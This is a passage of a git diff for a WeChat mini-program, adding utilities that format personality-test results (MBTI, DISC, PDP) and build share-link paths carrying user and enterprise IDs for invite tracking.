'string' && desc) ? desc : ((data.dominantType ? data.dominantType + '型' : '') || (data.disc || '')) + const pct = data.percentages + if (pct && typeof pct === 'object') { + const d = toIntPercent(pct.D != null ? pct.D : pct.d) + const i = toIntPercent(pct.I != null ? pct.I : pct.i) + const s = toIntPercent(pct.S != null ? pct.S : pct.s) + const c = toIntPercent(pct.C != null ? pct.C : pct.c) + return label + ' D:' + d + '% I:' + i + '% S:' + s + '% C:' + c + '%' + } + return label || '' + } + + if (t === 'pdp') { + const desc = data.description && data.description.type + const label = (typeof desc === 'string' && desc) ? desc : (data.dominantType || data.pdp || '') + const pct = data.percentages + if (pct && typeof pct === 'object') { + const names = { Tiger: '老虎', Peacock: '孔雀', Owl: '猫头鹰', Koala: '考拉', Chameleon: '变色龙' } + const parts = [] + for (const [key, name] of Object.entries(names)) { + const v = pct[key] != null ? pct[key] : pct[key.toLowerCase()] + if (v != null) parts.push(name + ':' + toIntPercent(v) + '%') + } + if (parts.length) return label + ' ' + parts.join(' ') + } + return label || '' + } + + return '' +} + +/** + * 仅返回类型标签(无百分比),用于列表、个人中心等 + */ +function getTypeOnly(data, testType) { + if (!data || typeof data !== 'object') return '' + const t = (testType || '').toLowerCase() + if (t === 'mbti') return String(data.mbtiType ?? data.type ?? data.result ?? '') + if (t === 'disc') { + const desc = data.description?.type + if (typeof desc === 'string' && desc) return desc + if (data.dominantType) return String(data.dominantType) + '型' + return String(data.disc ?? '') + } + if (t === 'pdp') { + const desc = data.description?.type + if (typeof desc === 'string' && desc) return desc + if (data.dominantType) return String(data.dominantType) + return String(data.pdp ?? '') + } + return '' +} + +module.exports = { + toIntPercent, + formatTestSummary, + getTypeOnly +} diff --git a/miniprogram/utils/share.js b/miniprogram/utils/share.js new file mode 100644 index 0000000..3313586 --- /dev/null +++ b/miniprogram/utils/share.js @@ -0,0 +1,60 @@ +/** + * 分享参数工具 + * - uid:当前登录用户 ID(始终携带,用于邀请统计) + * - eid:企业 ID(仅 appScope=enterprise 时携带) + * + * 小程序好友分享(onShareAppMessage):path 带完整查询串 + * 朋友圈分享(onShareTimeline):返回 query 字符串(不含 ?) + * 接收方(落地页 onLoad options)直接读 options.uid / options.eid + */ + +function getApp_() { + try { return getApp() } catch (e) { return null } +} + +/** + * 构建分享查询串,例如 "uid=1&eid=6" 或 "uid=1" + */ +function buildShareQuery() { + try { + const app = getApp_() + const userInfo = (app && app.globalData && app.globalData.userInfo) || wx.getStorageSync('userInfo') || {} + const scope = (app && app.globalData && app.globalData.appScope) || 'personal' + const uid = userInfo.id || '' + const parts = [] + if (uid) parts.push('uid=' + uid) + if (scope === 'enterprise') { + const eid = (app && app.globalData && app.globalData.enterpriseIdFromScene) + || userInfo.enterpriseId + || '' + if (eid) parts.push('eid=' + eid) + } + return parts.join('&') + } catch (e) { + return '' + } +} + +/** + * 返回带查询参数的完整落地页路径 + * @param {string} basePath 例如 '/pages/index/index' + * @param {boolean} forceEnterprise 强制使用企业版落地页(传 true 时 basePath 无效) + */ +function getSharePath(basePath) { + const query = buildShareQuery() + return query ? basePath + '?' + query : basePath +} + +/** + * 根据当前 scope 决定落地页路径 + * - 企业版 → /pages/enterprise/index?uid=X&eid=Y + * - 个人版 → basePath?uid=X (basePath 默认 /pages/index/index) + */ +function getSharePathByScope(personalBasePath) { + const app = getApp_() + const scope = (app && app.globalData && app.globalData.appScope) || 'personal' + const base = scope === 'enterprise' ? '/pages/enterprise/index' : (personalBasePath || '/pages/index/index') + return getSharePath(base) +} + +module.exports = { buildShareQuery, getSharePath, getSharePathByScope }